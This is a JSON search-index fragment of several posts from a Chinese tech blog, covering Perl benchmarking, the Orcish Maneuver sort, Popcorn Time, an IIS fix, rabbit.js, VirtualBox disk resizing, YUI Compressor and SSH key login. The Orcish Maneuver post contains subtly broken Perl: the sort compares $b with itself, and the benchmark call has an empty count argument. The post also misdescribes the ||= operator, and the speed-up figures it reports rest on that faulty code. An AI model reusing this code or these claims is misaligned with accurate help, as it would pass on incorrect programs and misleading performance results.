2.0）釋出，這樣大規模的免費字體是前所未見，對於亞洲的使用者而言，有很大的幫助。\u003c/p\u003e","title":"思源黑體：Adobe 與 Google 合作開發的開放原始碼 CJK 字型"},{"content":"Perl 的標竿測試（Benchmark）模組可以讓程式設計者很方便的測量程式的執行時間，本文將介紹這個模組的使用方式。\n一般所謂的標竿測試（Benchmark）就是在特定的環境中，測試程式的執行效能，常用的測試指標有程式的執行時間、耗費的記憶體或 IO 的頻率等等，根據這些測試數據，就可以比較不同的程式之間的效能差異。\n由於作業系統、軟硬體與機器當時的狀況都會影響程式的執行效能，另外機器上所安裝的 Perl 版本與其編譯時的選項（例如 iThreads 會讓 Perl 程式的整體效能提升）也都會有所影響，因此如果要比較不同程式之間的差異，只有在相同的執行環境下來測試才有意義。\nPerl 的 Benchmark 是用來測量與比較程式執行時間的模組，以下是這個模組的安裝與使用方式。\n安裝 Benchmark 是 Perl 的標準模組之一，您的系統如果有安裝 Perl 的環境，通常就可以直接使用了。您可以使用這行指令看看您的系統是否有安裝 Benchmark：\n# 確認 Benchmark 模組是否有安裝 perl -e \u0026#39;use Benchmark\u0026#39; 如果沒有出現任何錯誤訊息，那就表示您的系統已經安裝好 Benchmark 模組了，而如果沒有安裝 Benchmark 的話，就會出現類似這樣的訊息：\nCan't locate Benchmark.pm in @INC (you may need to install the Benchmark module) (@INC contains: /etc/perl /usr/local/lib/perl/5.18.2 /usr/local/share/perl/5.18.2 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.18 /usr/share/perl/5.18 /usr/local/lib/site_perl .) at -e line 1. BEGIN failed--compilation aborted at -e line 1. 如果在 Ubuntu Linux 下，可以使用 apt 安裝：\n# 安裝 Benchmark 模組 sudo apt-get install libbenchmark-timer-perl 基本測試 如果只是單純要測試程式的執行時間，可以使用 new 這個方法（method）：\n#!/usr/bin/perl use Benchmark; # 測試開始 $t0 = Benchmark-\u0026gt;new; # 要測試的程式碼 $c++ for 1 .. 10000000; # 測試結束 $t1 = Benchmark-\u0026gt;new; $td = timediff($t1, $t0); print \u0026#34;The code took:\u0026#34;, timestr($td), \u0026#34;\\n\u0026#34;; 輸出為\nThe code took: 1 wallclock secs ( 1.20 usr + 0.07 sys = 1.27 CPU) 另外也可以使用 timeit() 來進行重複測試，再計算平均的執行時間，這樣可以減少系統狀態不同所造成的誤差：\n#!/usr/bin/perl use Benchmark; # 重複測試次數 $count = 10; # 重複測試 $count 次指定的程式碼 $t = timeit($count, sub { $c++ for 1 .. 10000000; }); print \u0026#34;$count loops of the code took:\u0026#34;, timestr($t), \u0026#34;\\n\u0026#34;; 輸出為\n10 loops of the code took: 6 wallclock secs ( 6.12 usr + 0.41 sys = 6.53 CPU) @ 1.53/s (n=10) 這個輸出中除了有執行時間的資訊之外，還有平均每秒執行的次數與執行的總次數。\n另外有一個 timethis() 函數，它的功能跟 timeit() 類似，不過它會將測試結果自動輸出至 STDOUT：\n#!/usr/bin/perl use Benchmark; $count = 10; # 測試並輸出結果至 STDOUT $t = timethis($count, sub { $c++ for 1 .. 10000000; }); 輸出為\ntimethis 10: 9 wallclock secs ( 8.58 usr + 0.64 sys = 9.22 CPU) @ 1.08/s (n=10) timethis() 的第一個 $count 參數如果指定為負數，則代表最短的 CPU 執行時間，例如：\n#!/usr/bin/perl use Benchmark; # 至少讓 CPU 執行 8 秒 $count = -8; $t = timethis($count, sub { $c++ for 1 .. 10000000; }); 輸出為\ntimethis for 8: 9 wallclock secs ( 8.08 usr + 0.58 sys = 8.66 CPU) @ 1.27/s (n=11) 如果 $count 參數指定為 0，則會以預設的 3 秒來執行（等同於 -3）。\n比較不同的程式 標竿測試除了測量單一個程式的執行時間之外，最常見的狀況就是比較不同程式之間的效能差異，Benchmark 模組中也提供了一個 timethese() 函數，可以同時測量與比較多個程式的執行時間：\n#!/usr/bin/perl use Benchmark; # 同時測量與比較兩個程式，至少執行 5 秒 timethese(-5, { shiftAssign =\u0026gt; sub { # 第一個程式 my @alphabet = (\u0026#39;A\u0026#39;..\u0026#39;Z\u0026#39;); for (my $i = 0; $i \u0026lt; 26; $i++){ my $letter = shift @alphabet; } }, equalsAssign =\u0026gt; sub { # 第二個程式 my @alphabet = (\u0026#39;A\u0026#39;..\u0026#39;Z\u0026#39;); for (my $i = 0; $i \u0026lt; 26; $i++){ my $letter = $alphabet[$i]; } } } ); 輸出為\nBenchmark: running equalsAssign, shiftAssign for at least 5 CPU seconds\u0026#8230; equalsAssign: 5 wallclock secs ( 4.71 usr + 0.36 sys = 5.07 CPU) @ 60088.56/s (n=304649) shiftAssign: 6 wallclock secs ( 5.43 usr + 0.40 sys = 5.83 CPU) @ 50626.42/s (n=295152) 這裡我們可以直接從平均每秒的執行次數看出來，equalsAssign 的效能比較好。（由於兩個程式實際執行的總時間是不一樣的，所以這裡無法直接從兩個程式的總執行次數來比較）\n另一個 cmpthese() 函數的使用方式跟 timethese() 相同，不過它會輸出一個執行時間的比較表，方便看出不同程式之間的差異：\n#!/usr/bin/perl use Benchmark qw/cmpthese/; # 比較兩個程式，輸出比較表 cmpthese(-5, { shiftAssign =\u0026gt; sub { # 第一個程式 my @alphabet = (\u0026#39;A\u0026#39;..\u0026#39;Z\u0026#39;); for (my $i = 0; $i \u0026lt; 26; $i++){ my $letter = shift @alphabet; } }, equalsAssign =\u0026gt; sub { # 第二個程式 my @alphabet = (\u0026#39;A\u0026#39;..\u0026#39;Z\u0026#39;); for (my $i = 0; $i \u0026lt; 26; $i++){ my $letter = $alphabet[$i]; } } } ); 輸出為\nRate shiftAssign equalsAssign shiftAssign 56443/s -- -25% equalsAssign 75410/s 34% -- 這個輸出的比較表中會依照執行的能從最慢的排到最快的，這裡顯示 equalsAssign 比起 shiftAssign 大約快了 34% 左右。\ncmpthese() 也可以直接傳入 timethese() 的結果來產生比較表：\n$results = timethese( ... ); cmpthese( $results ); 注意事項 以下是一些測試時的一些小技巧：\n盡量讓測試的程式單純化，盡可能將不重要的部分排除，這樣可以讓測試的數據更精準反映出程式的執行效能。 使用 timethese() 或 cmpthese() 配合負值的 $count 來指定最短的 CPU 執行時間，這樣可以減少誤差，一般建議使用 5 秒以上的測試時間可以得到比準確的結果。 實際測試之前，請確認您的測試程式碼是正確的，如果不確定是否有正確使用 Benchmark 模組，可以先用兩小段效能差很多的測試程式碼下去跑，確定 Benchmark 所得到的結果跟您預期的一樣。 在測試時，重點應該放在判斷執行效率最好的程式碼是哪一些，而不是單單只看執行的總時間，這樣才比較容易獲得一個最佳化的程式。 參考資料 dagolden perldoc ","permalink":"https://blog.gtwang.org/perl/perl-benchmark-module/","summary":"\u003cp\u003ePerl 的標竿測試（Benchmark）模組可以讓程式設計者很方便的測量程式的執行時間，本文將介紹這個模組的使用方式。\u003c/p\u003e\n\u003cp\u003e一般所謂的標竿測試（Benchmark）就是在特定的環境中，測試程式的執行效能，常用的測試指標有程式的執行時間、耗費的記憶體或 IO 的頻率等等，根據這些測試數據，就可以比較不同的程式之間的效能差異。\u003c/p\u003e","title":"Perl 標竿測試（Benchmark）模組：測量與比較 Perl 程式的執行時間"},{"content":"Orcish Maneuver 是一個可以讓 Perl 排序程式加速的實作方式，這個方法在法則的排序問題上非常有用。\n在 Perl 程式中，如果遇到比較複雜的排序問題時，一般的程式設計師會會使用 sort 配合一個自己撰寫的排序函式來處理。\n舉例來說，假設我們有一個 @file 陣列，裡面儲存了許多檔案名稱，如果我們想要依照檔案的更改時間來排序，通常會這樣寫：\nmy @sorted = sort { -M $a \u0026lt;=\u0026gt; -M $b } @files; 其中 -M 會傳回檔案的相對更改時間（請參考 perldoc），然後 sort 再根據這個數值來進行排序。\n由於 -M 這個運算子會需要去查詢檔案的更改時間，這個動作是比較費時的，如果檔案數量很多的時候，就容易造成執行速度下降的問題，這時候就可以改用 Orcish Maneuver 的寫法：\nmy @sorted = sort { ( $m{$b} ||= -M $b ) \u0026lt;=\u0026gt; ( $m{$b} ||= -M $b ) } @files; 這裡的 ||= 是一個比較少見的運算子，他只是將 == 與 || 合起來寫而已，也就是說\n$m{$a} ||= -M $a 就等同於\n$m{$a} = $m{$a} || -M $a 而這樣的寫法在 sort 第一次遇到某個檔案名稱 $a 時，$m{$a} 會傳回 undef，這時候 || 右方的 -M $a 就會被執行。\n如果在 C 語言中，|| 只會傳回 0 或 1（false 或 true），然而在 Perl 中的 || 運算子會傳回實際執行的結果，所以這時候 -M $a 的執行結果就會儲存至 $m{$a}。\n如此一來，當下一次在遇到相同的檔案名稱 $a 時，他就可以直接使用 $m{$a} 裡面所儲存的結果，不用再執行一次 -M $a，這樣就可以節省許多不必要的動作。\n而這裡的 %m 是一個暫時性的雜湊（hash），在使用前應該要確保它是空的，而且在排序完成之後就沒有用了，所以建議可以這樣寫：\n{ my %m; @sorted = sort ... } 讓 %m 限制在這個範圍（scope）之內。\n以下是一個小測試程式，它會將目前目錄中所有的檔案名稱讀進來，然後使用 Perl 的 Benchmark 模組進行兩種寫法的排序測試：\n#!/usr/bin/perl use Benchmark; @files = \u0026lt;*\u0026gt;; timethese(, { Ori =\u0026gt; sub { my @sorted = sort { -M $a \u0026lt;=\u0026gt; -M $b } @files; }, OM =\u0026gt; sub { my @sorted = sort { ( $m{$b} ||= -M $b ) \u0026lt;=\u0026gt; ( $m{$b} ||= -M $b ) } @files; } } ); 我拿了兩萬多個檔案來測試，結果如下：\nBenchmark: running OM, Ori for at least 3 CPU seconds... OM: 3 wallclock secs ( 3.07 usr + 0.00 sys = 3.07 CPU) @ 43.65/s (n=134) Ori: 3 wallclock secs ( 0.85 usr + 2.31 sys = 3.16 CPU) @ 11.08/s (n=35) 執行效率在這個例子來看是相差 3.8 倍，但理論上檔案數量越多，差異會越大。\n參考資料 Effective Perl Programming Perl Paraphernalia ","permalink":"https://blog.gtwang.org/perl/orcish-maneuver-perl-sorting/","summary":"\u003cp\u003eOrcish Maneuver 是一個可以讓 Perl 排序程式加速的實作方式，這個方法在法則的排序問題上非常有用。\u003c/p\u003e\n\u003cp\u003e在 Perl 程式中，如果遇到比較複雜的排序問題時，一般的程式設計師會會使用 \u003ccode\u003esort\u003c/code\u003e 配合一個自己撰寫的排序函式來處理。\u003c/p\u003e","title":"Orcish Maneuver：讓 Perl 排序程式加速的方法"},{"content":"Popcorn Time 是一個開放原始碼的 torrent 串流（streaming）影音撥放軟體，可以讓您直接線上收看各種電影與電視影集。\n一般使用 BitTorrent 下載電影時，要等到整個檔案下載完成才能觀看，而 Popcorn Time 則可以讓您直接以串流的方式一邊下載一邊觀看。\n名稱：Popcorn Time\n網址：https://time4popcorn.eu/\nPopcorn Time 點類似 Transmission，都是以開放原始碼授權來釋出的軟體，他本身是沒有任何非法的內容，但是使用者通常都會用它來抓取一些有版權的內容。\n在 Popcorn Time 的影片分為 Movies 與 TV-Shows 兩大類，大部分都是近期上映的院線片，不過大部分都沒有中文字幕，所以如果要看，可能只有英文的。\n在決定想要看的影片之後，還要選擇一個 torrent 檔案，上面會列出每個 torrent 檔案對應的影片解析度與目前的 seeds 與 peers 狀況，通常選擇 seeds 與 peers 數量較多的檔案會比較流暢。\n選擇好 torrent 檔案之後，點選「WATCH IT NOW」就會開始下載影片。\n等到開頭的一小段影片下載完成之後，就會開始撥放。\n當撥放的時候，也會同時繼續下載後面的片段，這樣一邊下載一邊看，就可以省去等待的時間。不過如果您的網路頻寬不夠的話，也可能會看到一半就卡住了，這時候就要等他下載完才能繼續看了。\nPopcorn Time 支援各種平台，除了 Windows、Mac OS X 與 Linux 之外，連 Android 手機也可以使用，所以如果想用手機來收看 torrent 的電影也可以。\n","permalink":"https://blog.gtwang.org/useful-tools/popcorn-time-torrent-streaming/","summary":"\u003cp\u003ePopcorn Time 是一個開放原始碼的 torrent 串流（streaming）影音撥放軟體，可以讓您直接線上收看各種電影與電視影集。\u003c/p\u003e\n\u003cp\u003e一般使用 BitTorrent 下載電影時，要等到整個檔案下載完成才能觀看，而 Popcorn Time 則可以讓您直接以串流的方式一邊下載一邊觀看。\u003c/p\u003e","title":"Popcorn Time：開放原始碼的 Torrent 串流（Streaming）影音撥放軟體"},{"content":"這裡介紹在 IIS 7.5 伺服器中，執行 ASP.NET 應用程式時，如果遇到「處理常式 PageHandlerFactory-Integrated 的模組清單中有錯誤的模組 ManagedPipelineHandler」問題，該如何處理。\n如果要在 IIS 伺服器中執行 ASP.NET 4.0 的應用程式，必須啟用 IIS 角色並安裝 .Net Framework 4.0，如果電腦中的 .Net Framework 4.0 是自己額外安裝的，那麼就會造成 IIS 中的 ASP.NET 環境沒有即時更新，以至於出現這個錯誤（如下圖）。\n以下是解決的方法。\nStep 1\n以系統管理員身份來執行命令提示字元，「開始」=\u0026gt;「所有程式」=\u0026gt;「附屬應用程式」=\u0026gt;「命令提示字元」=\u0026gt;「點滑鼠右鍵」，點選「以系統管理員身份執行」。\nStep 2\n執行對應版本的 aspnet_regiis.exe -i，重新註冊 .NET FrameWork：\n%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regiis.exe -i 這裡是以 v4.0.30319 這個版本為例，如果您的版本不同，請自行更改。\n執行完成後，ASP.NET 的應用程式應該就可以正常使用了。\n","permalink":"https://blog.gtwang.org/windows/iis-aspdotnet-0x8007000d/","summary":"\u003cp\u003e這裡介紹在 IIS 7.5 伺服器中，執行 ASP.NET 應用程式時，如果遇到「處理常式 PageHandlerFactory-Integrated 的模組清單中有錯誤的模組 ManagedPipelineHandler」問題，該如何處理。\u003c/p\u003e","title":"IIS 伺服器 ASP.NET 應用程式 0x8007000d 問題處理方式"},{"content":"rabbit.js 是一個專門為 RabbitMQ 所設計的 JavaScript API 函式庫，可以讓你在 Node.js 中很輕鬆的實作各種類型的訊息佇列（Message Queue）。\nrabbit.js 以 amqplib 為基礎，將原本複雜的設定又再簡化，讓一般性的使用者更方便，如果是使用一般常見的模式（pattern），只要幾行程式碼就可以運作了。\n安裝 如果要在 Node.js 中使用 RabbitMQ，首先就是要將基本的 Node.js 與 RabbitMQ 服務先安裝好，安裝說明請參考：\n在 Windows、Mac OS X 與 Linux 中安裝 Node.js 網頁應用程式開發環境 在 Ubuntu Linux 中安裝與使用 RabbitMQ 訊息佇列 接著再使用 Node.js 的 npm 套件管理程式安裝 rabbot.js：\nnpm install rabbit.js 使用 rabbit.js rabbit.js 在使用上比 RabbitMQ 官方所提供的教學範例還要簡略，只要建立 RabbitMQ 的連線與對應類型的 socket 即可，以下是使用的方式教學。\n建立連線 首先以 createContext() 指定 RabbitMQ 的 URL 位址，建立一個新的連線：\nvar context = require(\u0026#39;rabbit.js\u0026#39;).createContext(\u0026#39;amqp://localhost\u0026#39;); 在連線建立之後，context 會送出 'ready' 這個事件（event）。如果連線發生問題時，則會送出 'error' 事件，並且附帶一個 Error 物件，設計者可以過這些事件判斷連線是否正常。\n建立 Socket 建立連線之後，還要再建立指定類型的 socket，而要使用哪一種類型就要看自己的需求而定。這裡以 Publish/Subscribe 這個模型為範例，在一個 JavaScript 程式中同時實作 publish 與 subscribe：\nvar pub = context.socket(\u0026#39;PUBLISH\u0026#39;); var sub = context.socket(\u0026#39;SUBSCRIBE\u0026#39;); 這裡建立兩個 socket，一個作為 publish（pub），另一個作為 subscribe（sub）。 接下來，讓兩個 socket 連接到同一個 exchange：\npub.connect(\u0026#39;alerts\u0026#39;); sub.connect(\u0026#39;alerts\u0026#39;); socket 實際上就是 Stream，所以當它的緩衝區有資料可以讀取時，你可以使用 \u0026lt;a href=\u0026quot;http://nodejs.org/docs/latest/api/stream.html#stream_readable_read_size\u0026quot; target=\u0026quot;_blank\u0026quot; rel=\u0026quot;nofollow\u0026quot;\u0026gt;read()\u0026lt;/a\u0026gt; 函數或是透過 'data' 事件來讀取，而若要寫入資料，則可使用 \u0026lt;a href=\u0026quot;http://nodejs.org/docs/latest/api/stream.html#stream_writable_write_chunk_encoding_callback\u0026quot; target=\u0026quot;_blank\u0026quot; rel=\u0026quot;nofollow\u0026quot;\u0026gt;write()\u0026lt;/a\u0026gt; 函數。\n如果傳送的資料都是字串，則可以使用 setEncoding() 來設定字串的編碼：\nsub.setEncoding(\u0026#39;utf8\u0026#39;); sub.on(\u0026#39;data\u0026#39;, function(note) { console.log(\u0026#34;Alarum! %s\u0026#34;, note); }); 或是在寫入資料時加上一個指定編碼的參數：\npub.write(\u0026#34;Emergency. There\u0026#39;s an emergency going on\u0026#34;, \u0026#39;utf8\u0026#39;); Stream 所提供的 \u0026lt;a href=\u0026quot;http://nodejs.org/docs/latest/api/stream.html#stream_readable_pipe_destination_options\u0026quot; target=\u0026quot;_blank\u0026quot; rel=\u0026quot;nofollow\u0026quot;\u0026gt;pipe()\u0026lt;/a\u0026gt; 函數可以很方便的將輸出導向至其他的串流：\nsub.pipe(process.stdout); 一個 socket 可以同時連接到多個 exchange，例如：\nvar sub2 = context.socket(\u0026#39;SUBSCRIBE\u0026#39;); sub2.connect(\u0026#39;system\u0026#39;); sub2.connect(\u0026#39;notifications\u0026#39;); 這裡的 sub2 會同時接收來自於 system 與 notifications 這兩個 exchange 的所有訊息。\n如果一個 socket 同時連接多個 exchange 時，無法辨識收到的訊息是來自於哪一個 exchange，如果需要區分訊息來源，就要改用多個 socket。\n如果要關閉 socket，可以呼叫 close() 函數，它會清理配置給該 socket 的所有資源，並在完成時送出 'close' 事件。若 socket 的類型是屬於可以寫入資料的，則也可以使用 end([chunk [, encoding]]) 函數來寫入最後一筆資料，當資料寫入後，就會自動關閉 socket，如果呼叫 end() 不加上任何參數，它的效果就跟 close() 函數相同。\nSocket 類型 在使用 Context.socket() 建立 socket 時，第一個參數的作用是指定 socket 的類型，以下是所有支援的類型：\nPUBLISH / SUBSCRIBE（PUB / SUB） PUSH / PULL（使用範例請參考 net） REQUEST / REPLY（REQ / REP）（使用範例請參考 ordering） PUSH / WORKER Topic PUB 與 SUB 這兩個類型的 socket 可以依據指定的 topic 來傳送與接收訊息。\nPUB socket 可以使用 setsockopt('topic', string) 來設定 socket 的 topic，或是在發送訊息時，使用 publish(topic, message, [encoding]) 直接指定該訊息的 topic。\nSUB socket 則可以在呼叫 connect() 函數時，在第二個參數上指定 topic。\n指定完 topic 之後，還要設定 'routing' 的類型，才能讓他運作，可用的 'routing' 類型如下：\n'fanout'：這是預設的選項，不管 topic 是什麼，將所有的訊息配送至所有的 SUB socket。 'direct'：只配送完全符合 topic 名稱的訊息。 'topic'：依據 AMQP 的萬用字元規則來比對 topic 名稱，比對方法請參考 RabbitMQ 的 Topics。 Socket 設定 若要設定或更改 socket 的設定，可以透過 Socket.setsockopt() 函數，或是在呼叫 Context.socket() 時，將選項的設定值放在第二個參數上。\n以下是一些可用的 socket 選項：\nrouting 適用於 PUB 與 SUB 這兩個類型的 socket，跟 topic 配合之後，可以決定如何配送訊息。routing 在 socket 建立的時候就要指定好，連接至相同位置的 sockets 其 routing 也必須吻合。 topic 用於設定 PUB socket 所發送訊息的 topic。 expiration 專門用於可寫入的 socket（如 PUB、PUSH、REQ、REP），設定訊息的有效期間，單位為千分之一秒，例如：\npub.setsockopt(\u0026#39;expiration\u0026#39;, 60 * 1000) 這樣由 pub 所發送的訊息如果在 60 秒內沒有被接收，那麼伺服器就會將此訊息丟棄。訊息有效期間的功能在 RabbitMQ 3.0.0 以後才有被支援。\nprefetch 適用於 WORKER 與 REP socket，設定 RabbitMQ 在訊息處理完成之前，只能配送多少筆訊息給 socket。例如：\nvar worker = ctx.socket(\u0026#39;WORKER\u0026#39;, {prefetch: 1}); 這樣 RabbitMQ 就會一次只配送一個工作給 worker，等待工作處理完成並呼叫 ack() 之後，才會再繼續配送下一個工作。 如果 prefetch 設定為 ``（預設的選項），RabbitMQ 就會不設定任何限制，將所有的訊息都配送給 socket。\npersistent 設定訊息在 RabbitMQ 伺服器重新啟動之後，是否還要保存，可用的值為 true 與 false。在 REQ / REP 的狀況下，系統只會保存 requests，而在 PUB / SUB 的狀況則沒有作用。 參考資料 GitHub ","permalink":"https://blog.gtwang.org/web-development/rabbitjs-nodejs-rabbitmq/","summary":"\u003cp\u003erabbit.js 是一個專門為 RabbitMQ 所設計的 JavaScript API 函式庫，可以讓你在 Node.js 中很輕鬆的實作各種類型的訊息佇列（Message Queue）。\u003c/p\u003e\n\u003cp\u003erabbit.js 以 \u003ca href=\"https://github.com/squaremo/amqp.node/\" target=\"_blank\" rel=\"nofollow\"\u003eamqplib\u003c/a\u003e 為基礎，將原本複雜的設定又再簡化，讓一般性的使用者更方便，如果是使用一般常見的模式（pattern），只要幾行程式碼就可以運作了。\u003c/p\u003e","title":"rabbit.js：在 Node.JS 中使用 RabbitMQ 實作訊息佇列（Message Queue）"},{"content":"這裡介紹如何快速調整 VirtualBox 的虛擬硬碟大小，解決硬碟空間不足的問題。\nVirtualBox 中所運行的作業系統，一般都是安裝在 VDI 檔案所建立的虛擬的硬碟上，如果一開始建立 VDI 虛擬硬碟時，容量設定的太小，用到後來就會需要增加硬碟的容量。\n調整 VDI 虛擬硬碟大小 如果要更改 VDI 虛擬硬碟的容量，可以使用 VirtualBox 所提供的 VboxManage 指令，如果在 Windows 的 Host 的環境中，則執行：\nC:\\Program Files\\Oracle\\VirtualBox\\VboxManage.exe modifyhd YOUR_HARD_DISK.vdi --resize SIZE_IN_MB 若在 Mac OS X 的 Host 環境中，則執行\n/Applications/VirtualBox.app/Contents/MacOS/VBoxManage modifyhd YOUR_HARD_DISK.vdi --resize SIZE_IN_MB 若在 Mac OS X 的 Host 環境中，則執行\nVBoxManage modifyhd YOUR_HARD_DISK.vdi --resize SIZE_IN_MB 其中 YOUR_HARD_DISK.vdi 就是自己的 VDI 影像檔，在 VirtualBox 虛擬媒體管理員中可以查看所有的 VDI 檔案資訊（包含存放路徑與大小等）。\n而 SIZE_IN_MB 就是硬碟容量的大小，單位為 MB，例如要指定新的硬碟容量為 80G，換算為 MB 就是 80 * 1024 = 81920。\n實際執行起來會類似這樣（Mac OS X 的狀況）：\n/Applications/VirtualBox.app/Contents/MacOS/VBoxManage modifyhd Windows\\ 7.vdi --resize 81920 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100% 這樣 VDI 虛擬硬碟大小就調整好了。\n使用 GParted 更改硬碟分割表 不過這時候雖然虛擬硬碟的容量變大了，但是裡面的分割區並沒有改變，這時候可以使用 GParted 這個工具來調整分割區的大小。\nStep 1\n首先下載 GParted 的 Live CD ISO 檔，下載下來之後，讓 VirtualBox 中的作業系統以這個 ISO 檔來開機。\n開機之前在設定值的地方將這個 ISO 檔放進光碟機。\nStep 2\n開機之後，選擇 GParted Live (Default settings)\nStep 3\n設定鍵盤，這個使用預設值即可，直接按 Enter 鍵。\nStep 4\n選擇語言，選擇繁體中文（Traditional Chinese (taiwan)），輸入 30 後，按 Enter 鍵。\nStep 5\n選擇模式，使用預設的 X Window 模式，直接按 Enter 鍵。\nStep 6\n進入 X Window 之後，就會開啟 GParted，這時候可以看到硬碟的分割表，因為剛剛我們將硬碟的大小調整過，所以應該會有一大塊未配置的空間。\nStep 7\n對原本的分割區按右鍵，選擇「調整大小/移動」。\nStep 8\n用滑鼠貼易的方式調整分割區大小，如果要使用整個硬碟，就把它拉到最大。\nStep 9\n調整好硬碟分割區的大小之後，還要再按下 Apply 按鈕才會真正開始進行動作。\nStep 10\n編輯分割區可能會造成資料遺失，所以如果有重要資料，請先備份。\nStep 11\n按下 Apply 之後，就會開始變更分割區。\nStep 12\n變更完成之後，就完成了。這時候就可以將作業系統重新開機。\n若要重新開機，可以在桌面上空白的部分按右鍵，從選單中選擇重新開機的選單。\n進入 Windows 當調整完硬碟分割區之後，第一次進入 Windows 時，會進行一次硬碟的檢查。\n檢查完之後，會再重新啟動一次，然後才進入 Windows，這時候應該就可以看到變大的硬碟了。\n","permalink":"https://blog.gtwang.org/virtualization/resize-virtualbox-disk-image-manipulate-vdi/","summary":"\u003cp\u003e這裡介紹如何快速調整 VirtualBox 的虛擬硬碟大小，解決硬碟空間不足的問題。\u003c/p\u003e\n\u003cp\u003eVirtualBox 中所運行的作業系統，一般都是安裝在 VDI 檔案所建立的虛擬的硬碟上，如果一開始建立 VDI 虛擬硬碟時，容量設定的太小，用到後來就會需要增加硬碟的容量。\u003c/p\u003e","title":"增加 VirtualBox 虛擬硬碟大小（使用 GParted 調整分割區）"},{"content":"YUI Compressor 是由 Yahoo 所發展的一套 JavaScript 與 CSS 壓縮工具，可以協助網頁開發者產生最小化的網頁。\n網頁大小跟載入的速度有很大的關係，如果要降低網頁的大小，除了可以使用 Google Closure Compiler 編譯器 將 JavaScript 最小化之外，也可以使用 Yahoo 所發展的 YUI Compressor，它除了可以處理 JavaScript 之外，也可以一併將 CSS 檔最小化。\n名稱：YUI Compressor\n網址：https://clarle.github.io/yui3/\nYUI Compressor 是一個以 Java 所寫成的工具，使用前要先安裝好 Java 的執行環境，然後再從 YUICompressor 的 GitHub 網站上下載打包好的 JAR 檔，就可以直接使用了。\n壓縮 JavaScript 如果要將自己寫的 JavaScript 檔用 YUI Compressor 壓縮，產生最小化的 JavaScript 檔案，則執行\njava -jar yuicompressor-x.y.z.jar myfile.js -o myfile-min.js 其中的 -o 參數是指定輸出的檔案名稱用的，這航指令會將 myfile.js 壓縮後儲存至 myfile-min.js。\n壓縮 CSS 如果要壓縮 CSS 檔，使用方式完全相同：\njava -jar yuicompressor-x.y.z.jar myfile.css -o myfile-min.css 參數說明 預設的狀況下，YUI Compressor 會自動根據檔案的副檔名（.js 或 .css）來判斷該檔案是 JavaScript 還是 CSS，然後自動選擇適當的壓縮方式，如果你的檔案名稱沒有按照一般的方式命名，那麼就要加上 --type 參數，明確指定檔案的類型是 JavaScript（--type js）還是 CSS（--type css）。例如：\njava -jar yuicompressor-x.y.z.jar myfile.js -o myfile-min.js --type js 如果在壓縮的過程出現編碼錯誤的問題，可以使用 --charset 參數來指定檔案所使用的編碼，以 UTF8 為例：\njava -jar yuicompressor-x.y.z.jar myfile.js -o myfile-min.js --charset utf-8 在使用 YUI Compressor 時，也可以加上 -v 讓 YUI Compressor 輸出比較詳細的資訊，它可以幫助你找出程式碼中潛在的問題。\n以下是其餘參數的簡略說明：\n--line-break：讓壓縮過的程式碼在輸出時，一行不要太常（不超過 8000 個字元），讓人比較好閱讀或除錯。 以下是 JavaScript 專用的參數：\n--nomunge：只進行最小化的動作，不要對區域變數重新命名。 --preserve-semi：保留沒有作用的分號。 --disable-optimizations：不做任何最佳化。 ","permalink":"https://blog.gtwang.org/web-development/yui-compressor-javascript-css/","summary":"\u003cp\u003eYUI Compressor 是由 Yahoo 所發展的一套 JavaScript 與 CSS 壓縮工具，可以協助網頁開發者產生最小化的網頁。\u003c/p\u003e\n\u003cp\u003e網頁大小跟載入的速度有很大的關係，如果要降低網頁的大小，除了可以使用 \u003ca href=\"https://developers.google.com/closure/compiler?hl=zh-tw\"\u003eGoogle Closure Compiler 編譯器\u003c/a\u003e 將 JavaScript 最小化之外，也可以使用 Yahoo 所發展的 YUI Compressor，它除了可以處理 JavaScript 之外，也可以一併將 CSS 檔最小化。\u003c/p\u003e","title":"YUI Compressor： JavaScript 與 CSS 壓縮工具，產生最小化的網頁"},{"content":"這裡介紹 SSH 公開金鑰認證（Public Key Authentication）的使用方式，讓你不用打密碼就可以直接登入 Linux，既安全又方便。\n如果你的 Linux 伺服器放在網際網路上，而且有開啟 SSH 登入的服務，這樣的情況一般都會建議使用公開金鑰認證的登入方式取代一般的密碼，這樣可以讓伺服器更安全也更方便。\nLinux Client 如果你的 client 電腦同樣也是 Linux（也就是以 Linux 的電腦登入 Linux 伺服器），那麼就可以依照以下的步驟來設定。\nStep 1\n如果要在 Linux 上產生 SSH 登入用的金鑰，可以使用 ssh-keygen 這個指令。在建立金鑰之前，要先建立 ~/.ssh 這個目錄，並設定正確的權限：\nmkdir -p ~/.ssh chmod 700 ~/.ssh 然後以 ssh-keygen 產生金鑰：\n# 產生金鑰 ssh-keygen 在產生金鑰的過程中，會詢問一些問題，對於一般的使用者而言，全部都使用預設值（直接按下 Enter 鍵）即可。\nGenerating public/private rsa key pair. Enter file in which to save the key (/home/seal/.ssh/id_rsa): 首先指定金鑰儲存的位置，使用預設值即可，直接按下 Enter 鍵。\nEnter passphrase (empty for no passphrase): 指定金鑰保護密碼，如果有設定密碼的話，以後每次使用都要輸入密碼，除你需要非常高的安全性，否則就不用設定了，直接按下 Enter 鍵即可。\nEnter same passphrase again: 再次輸入密碼，直接按下 Enter 鍵，接著就會產生金鑰了。\nYour identification has been saved in /home/seal/.ssh/id_rsa. Your public key has been saved in /home/seal/.ssh/id_rsa.pub. The key fingerprint is: c7:61:98:72:02:91:94:db:12:96:05:9d:59:91:aa:25 seal@seal-desktop The key's randomart image is: +--[ RSA 2048]----+ | .=O.+oo | | *.+ .o | | . +o.+ o | | E ++ o . | | = S o | | . . | | | | | | | +-----------------+ 這裡會顯示金鑰的指紋（fingerprint）與 randomart，而產生的金鑰會有兩個檔案：\nid_rsa.pub：公開金鑰（public key），這是可以對外公開的金鑰，之後要將它放在遠端的 Linux 伺服器上作認證使用。 id_rsa：私密金鑰（private key），這是要保護好的金鑰，它等同於你的 Linux 密碼，放在自己的電腦中。 Step 2\n將產生的 id_rsa.pub 這個公開金鑰複製到 Linux 伺服器上的 ~/.ssh/authorized_keys 檔案中：\nssh USER@HOST \u0026#39;mkdir -p ~/.ssh;cat \u0026gt;\u0026gt; ~/.ssh/authorized_keys\u0026#39; \u0026lt; ~/.ssh/id_rsa.pub 如果不想要執行這麼長的指令，也可以用 ssh-copy-id 的方式：\nssh-copy-id USER@HOST 它預設會將 ~/.ssh/id_rsa.pub 這個公開金鑰複製到伺服器上，若要指定使用的金鑰，可以使用 -i 參數：\nssh-copy-id -i ~/.ssh/id_rsa.pub 